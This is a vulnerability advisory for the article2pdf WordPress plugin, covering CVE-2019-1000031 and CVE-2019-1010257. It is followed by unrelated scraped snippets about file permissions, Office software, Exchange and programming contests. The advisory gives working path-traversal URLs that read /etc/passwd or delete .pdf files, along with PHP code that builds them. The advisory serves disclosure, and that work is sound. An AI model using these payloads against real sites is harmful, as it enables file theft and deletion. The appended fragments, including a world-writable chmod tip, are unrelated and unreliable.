article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)

Product: article2pdf (Wordpress plug-in)
Product Website: https://wordpress.org/plugins/article2pdf/
Affected Versions: 0.24 and greater

The following vulnerabilities were found in a code review of the
plug-in. An attempt to contact the
plug-in maintainer on 8 December 2018 was unsuccessful. The Wordpress
security team disabled downloads
of the plug-in upon notification on 8 January 2019.

I would like to thank Ken Johnson (@cktricky) and Set Law (@sethlaw)
whose course
"Seth & Ken‘s Excellent Adventures in Secure Code Review" sparked my
interest in reviewing code for
vulnerabilities.

[CVE-2019-1000031] Generated PDF file is only removed after download
which is initiated by a redirect
=====================================================================================================
Type:
-----
Resource Exhaustion

Description:
-----------
The plugin generates a PDF version of a post/article when a link of the
form

https://www.example.com/.../my-post-title/?article2pdf=1

is visited. The response to this initial request is a redirect to a link
like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

which will then return the PDF file contents and subsequently delete
the file.

As the deletion is coupled with the download but the download is
initiated by a different request than the one which creates the file,
visiting the link which creates the file and not following the redirect
results in the file not being deleted. These files can then accumulate
and potentially exhaust the available disk space.

Depending on the server setup, space exhaustion of a hard drive or hard
drive partition or even just a disk quota can result in denial of
service even for unrelated services on the same machine which rely on
the same resource.

This issue was originally reported on the plugin‘s bug tracker [2] but
never identified as a vulnerability.

Exploit
-------
Repeatedly visit a PDF generation link the plugin provides without ever
following the redirect to exhaust disk space.

[CVE-2019-1010257] PDF file download path is constructed from
insufficiently sanitised user input
=================================================================================================
Type:
-----
Information Disclosure / File Deletion

Description:
------------
When visiting the PDF download link which the original PDF generation
link redirects to, the file path is constructed from a combination of
fixed strings and the strings provided via the query string of the
download URL. The download URL has the form

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=xxx&r=yyy&d=zzz

where xxx is a base64 encoded absolute string, xxx is a short hex hash
and zzz is the base64 encoded URL title slug of the post the PDF was
generated from. While the plugin attempts to sanitise these input
parameters to not allow path traversal, this sanitisation is
insufficient and can be fully or partially circumvented depending on
the PHP version the Wordpress instance is running on.

In the case of PHP version <5.3 it is possible to read any file the
user the plugin is executed under has read access to by just encoding
the full file path in the parameter "d" and terminating that string
with a null-byte. The parameter "p" must not be empty but can contain
any value. The parameter "r" may be empty but its value is of no
significance. If the user that the script is executed as has write
access to the file or the directory it is stored in, the file will be
deleted after it has been downloaded. If the user has no write access,
an error message may be shown at the end of the file contents
offered which discloses the Wordpress instance‘s install directory on
the server.

In the case of PHP version >=5.3, null-termination will no longer cut
off the string. As the generated file name ends with a fixed string
".pdf", only files with that file ending can be read. The parameter "d"
may be any directory on the server. The parameter "p" needs to contain
8 backspace characters to delete a prepended fixed string from the file
name while the parameter "r" must contain exactly one backspace. The
actual file name (without the ".pdf") can then be appended to the
backspaces in either parameter "p" or parameter "r". It is also
possible to have "p" contain one random character and then have 10
backspace characters followed by the actual file name (again,
without the ".pdf") stored in parameter "r".

The information above can also be found on the plug-in‘s issue tracker
[3].

Exploit:
--------
On PHP <5.3, a specially crafted link like

http://php52.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=YQ==&r=&amp;d=L2V0Yy9wYXNzd2QA

will download the server‘s /etc/passwd file.

On PHP >=5.3, a specially crafted link like

http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=CAgICAgICAg=&;r=%08test&amp;d=L3RtcA==

will return the contents of the file "/tmp/test.pdf" and delete the
file if the user the script is executed as has permissions to do so.

The link used above can be generated using a few lines of PHP:

<?php
     $d52 = base64_encode("/etc/passwd\0");
     $p52 = base64_encode("a");
     $r52 = "";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p52}&r=${r52}&d=${d52}\n";
     $d53 = base64_encode("/tmp");
     $p53_raw = "";
     for ($i=0;$i<8; $i++) $p53_raw .= chr(8);
     $p53 = base64_encode($p53_raw);
     $r53 = "%08test";
     echo
"http://www.example.com/wp-content/plugins/article2pdf/article2pdf_getfile.php?p=${p53}&r=${r53}&d=${d53}\n";

[1] https://wordpress.org/plugins/article2pdf/
[2]
https://wordpress.org/support/topic/plugin-article2pdf-temporary-files-filling-up-server-space/
[3]
https://wordpress.org/support/topic/pdf-download-path-improperly-sanitised/

原文地址:https://www.cnblogs.com/iAmSoScArEd/p/10604093.html

时间: 2024-10-11 05:33:43

article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)的相关文章

wordpress 上传图片时提示“无法建立目录wp-content/uploads/2019/03。有没有上级目录的写权限?”

查一下网站目录下wp-content目录的权限, # ls -l drwxr-xr-x  5 nobody 65534  4096 Feb  3  2016 wp-content 修改wp-content目录权限就OK了. chmod -R a+w wp-content 原文地址:https://www.cnblogs.com/soymilk2019/p/11105041.html

WPS 2019|WPS Office 2019官方最新版 v11.1下载

点击下载WPS Office 2019官方最新版WPS 2019是一款由金山软件公司自主研发并推出的最新办公软件套装,而作为目前来说最新的版本,其无论是在功能上还是在本身的系统优化上都得到前所未有的加强,还带来了全新的用户界面,绝对会让摆脱旧版界面的审美疲劳,给你焕然一新的感觉!同时还将wps文字,wps演示,wps表格合而为一,消除了组件隔阂,现在用户只需在一个窗口下就可以打开doc\xls\ppt文件,不必先寻找对应组件, 再切换文档标签,非常便捷!不仅如此,WPS 2019还加强了标签管理

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019

由於這個是測試環境,你還是需要準備:IP段.域名等. 1.Windows Server 2019 創建 域(略)其實跟Windows Server 2016的方法一致,有時間我會再做一個教程出來. 2.下載 Exchange 2019(體驗版)http://blog.51cto.com/happynews/2153851 3.客戶端加入 域(略)其實跟你以往的經驗一致,有時間我會再做一個. 4.管理員啟動PowerShell 5.運行IIS的安裝命令( Install-WindowsFeatur

CVE: 2014-6271、CVE: 2014-7169 PATCH方案分析

目录 1. RedHat官方给的PATCH第一套方案 2. RedHat官方给的PATCH临时方案 3. RedHat官方给的PATCH第二套方案 1. RedHat官方给的PATCH第一套方案 0x1: Patch修补原理 patch修复的重点有以下几个地方 1. 在builtins/common.h中增加了2种宏定义,对环境变量允许传入和解析的参数进行了限制,这是一种参数化防御的思想 2. 在builtins/evalstring.c中的parse_and_execute()函数中对即将解析

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(二)

1.Install-WindowsFeature RSAT-ADDS2.利用Exchange擴展AD架構,從Exchange2013開始,我發現只要通過UI的嚮導去拓展這個AD架構是100%失敗,所以微軟公司的產品,還是好大的Bug,直接差評,哈哈哈哈,好吧,我們直接PowerShell吧!( .\Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms )Done3.( .\setup /IAcceptExchangeServerL

【 Ex 2019 】 WinSrv 2019 安裝 Ex 2019(三)

1.插入Exchange2019的ISO文件,直接雙擊2.由於是測試環境,我們選擇不更新,下一步3.4.下一步5.同意,下一步6.默認,下一步7.黃色標記,下一步(由於我只有一台AD,所以直接選擇這兩個選項,邊緣傳輸服務器,你需要部署另外一台DC才可以,其實微軟公司是不建議我們AD上安裝任何的東西,由於是測試環境,無所謂啦~)8.默認下一步9.否,下一步(因為我的虛擬機沒有設置連接外網,所以不選擇這個)10.安裝11.檢查結果12.正式開始安裝,這個過程就要看你的硬件配置了--13.我以為它掛了

jzoj5991. 【北大2019冬令营模拟2019.1.6】Juice

题面 题解 好迷-- //minamoto #include<bits/stdc++.h> #define R register #define ll long long #define fp(i,a,b) for(R int i=a,I=b+1;i<I;++i) #define fd(i,a,b) for(R int i=a,I=b-1;i>I;--i) #define go(u) for(int i=head[u],v=e[i].v;i;i=e[i].nx,v=e[i].v)

jzoj5990. 【北大2019冬令营模拟2019.1.6】Bear (状压dp)

题面 题解 我永远讨厌dp.jpg 搞了一个下午优化复杂度最后发现只要有一个小trick就可以A了→_→.全场都插头dp就我一个状压跑得贼慢-- 不难发现我们可以状压,对于每一行,用状态\(S\)表示有哪些格子是已经被上一行推倒了的,那么我们可以枚举本行所有格子的字母情况,然后计算一下这个时候下一行格子被推倒的情况,把这一行的贡献加到下一行就行了. 简单来说就是记一个\(f[pos][S]\)表示第\(pos\)行,格子被推倒的情况为\(S\)时的方案数,\(dp[pos][S]\)为所有方案中

数论学习(2019.4.4 - 2019.4.7) --4.4

数学基础 一.高精度 介绍就不写了,直接贴代码了 读入读出在最后再加上吧qwq char str[1000]; int a[1000],b[1000],c[1000]; 高精 + / -(这两个差不多,一块吧) for(int i=len-1;i>=0;i--) b[len-i] = str[i]-'0'; int m = len; n = max(n,m); for(int i=1;i<=n;i++) c[i]=a[i]+b[i]; for(int i=1;i<=n;i++) { c[